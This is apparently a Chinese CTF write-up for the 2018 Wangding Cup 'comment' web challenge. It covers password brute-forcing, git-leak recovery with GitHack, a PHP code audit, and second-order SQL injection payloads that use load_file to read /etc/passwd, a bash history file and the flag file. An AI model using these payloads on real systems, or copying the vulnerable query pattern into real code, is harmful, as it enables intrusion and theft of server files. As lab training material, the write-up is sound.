• 攻防世界-web-comment(密码爆破、.git泄漏、代码审计、sql二次注入)


    题目来源:网鼎杯 2018
    题目描述:SQL

    一、密码爆破

    进入场景后,点击发帖,输入内容提交后,系统返回登录页面

    可以看到账号框默认账号为:zhangwei 密码为zhangwei***

    由于仅密码的后三位不知道,我们想到了爆破。

    爆破出来的密码为zhangwei666

    二、.git泄漏

    尝试访问http://220.249.52.133:35828/.git/,系统返回无权限,说明存在.git泄漏。

    使用如下命令下载git源码

    python GitHack.py http://220.249.52.133:35828/.git/

    发现write_do.php,内容如下

    <?php
    include "mysql.php";
    session_start();
    if($_SESSION['login'] != 'yes'){
        header("Location: ./login.php");
        die();
    }
    if(isset($_GET['do'])){
    switch ($_GET['do'])
    {
    case 'write':
        break;
    case 'comment':
        break;
    default:
        header("Location: ./index.php");
    }
    }
    else{
        header("Location: ./index.php");
    }
    ?>

    这个代码应该不全,这里附网友找到的完整代码(不知道是怎么找到的)

    <?php
    include "mysql.php";
    session_start();
    if($_SESSION['login'] != 'yes'){
        header("Location: ./login.php");
        die();
    }
    if(isset($_GET['do'])){
    switch ($_GET['do'])
    {
    case 'write':
        $category = addslashes($_POST['category']);
        $title = addslashes($_POST['title']);
        $content = addslashes($_POST['content']);
        $sql = "insert into board
                set category = '$category',
                    title = '$title',
                    content = '$content'";
        $result = mysql_query($sql);
        header("Location: ./index.php");
        break;
    case 'comment':
        $bo_id = addslashes($_POST['bo_id']);
        $sql = "select category from board where id='$bo_id'";
        $result = mysql_query($sql);
        $num = mysql_num_rows($result);
        if($num>0){
        $category = mysql_fetch_array($result)['category'];
        $content = addslashes($_POST['content']);
        $sql = "insert into comment
                set category = '$category',
                    content = '$content',
                    bo_id = '$bo_id'";
        $result = mysql_query($sql);
        }
        header("Location: ./comment.php?id=$bo_id");
        break;
    default:
        header("Location: ./index.php");
    }
    }
    else{
        header("Location: ./index.php");
    }
    ?>

    三、SQL二次注入

    登录成功后看到可以发帖加上题目提示sql,猜测应该是sql注入。再结合write_do.php的代码审计,发现存在明显的二次注入。

    comment模块中的$category 是直接从board中取出数据,没有过滤就直接放入sql语句中了~~
    其中我们$category$content都可控~~

    这道题目有个坑,大家需要注意一下

    $sql = "insert into comment
                set category = '$category',
                    content = '$content',
                    bo_id = '$bo_id'";

    这个sql语句是换行的,所以我们无法用单行注释符,必须用/**/拼接。

    我们拼接的语句如下

    $sql = "insert into comment
                set category = '123',content=user(),/*',
                    content = '*/#',
                    bo_id = '$bo_id'";

    我们学习一下师傅们的思路

    1、首先我们先读取/etc/passwd,就可以得知www用户的目录。payload如下

    category为: 123',content=(select( load_file('/etc/passwd'))),/*
    留言内容为:*/#

    2、然后读history文件:/home/www/.bash_history,可以看到网站管理员的历史命令。payload如下

    category为: 123',content=(select( load_file('/home/www/.bash_history'))),/*
    留言内容为:*/#

    分析上图中的历史命令

    • 先在/tmp目录下解压压缩包
    • 然后删除压缩包
    • 再将html目录复制到/var/www/目录下
    • 切换到/var/www/html,然后删除.DS_Store,启动apache

    我们发现,管理员仅删除了/var/www/html目录下的.DS_Store文件,但是并没有删除/tmp/html目录下的原始文件,所以我们可以读取此文件。

    3、读取.DS_Store文件内容,查找flag文件名。payload如下

    category为: 123',content=(select hex(load_file('/tmp/html/.DS_Store'))),/*
    留言内容为:*/#

    这儿由于文件太大,不能完全显示,所以我们用十六进制编码,然后找个网站解码就行了。

    解码后发现文件名flag_8946e1ff1ee3e40f.php

    4、最后我们读取此文件即可得到flag。payload如下

    category为: 123',content=(select hex(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*
    留言内容为:*/#

    参考:

    https://blog.csdn.net/weixin_43093631/article/details/106650625

    https://blog.csdn.net/a3320315/article/details/104216070

  • 相关阅读:
    LeetCode 116. 填充每个节点的下一个右侧节点指针
    angluar 表单的验证 动态数据项表单验证
    Angular:ng-style,ng-class的使用
    1.splice(),slice(),split()快查
    js输入小写金额转大写
    Angular--CheckBox,checkbox多选,保存的时候用逗号隔开
    Angular--CheckBox
    Angular--Radio
    对于mysql中的group by分组后获取组内创建时间最大的那行数据
    GIT版本管理看这一篇就够了
  • 原文地址:https://www.cnblogs.com/zhengna/p/13680724.html
Copyright © 2020-2023  润新知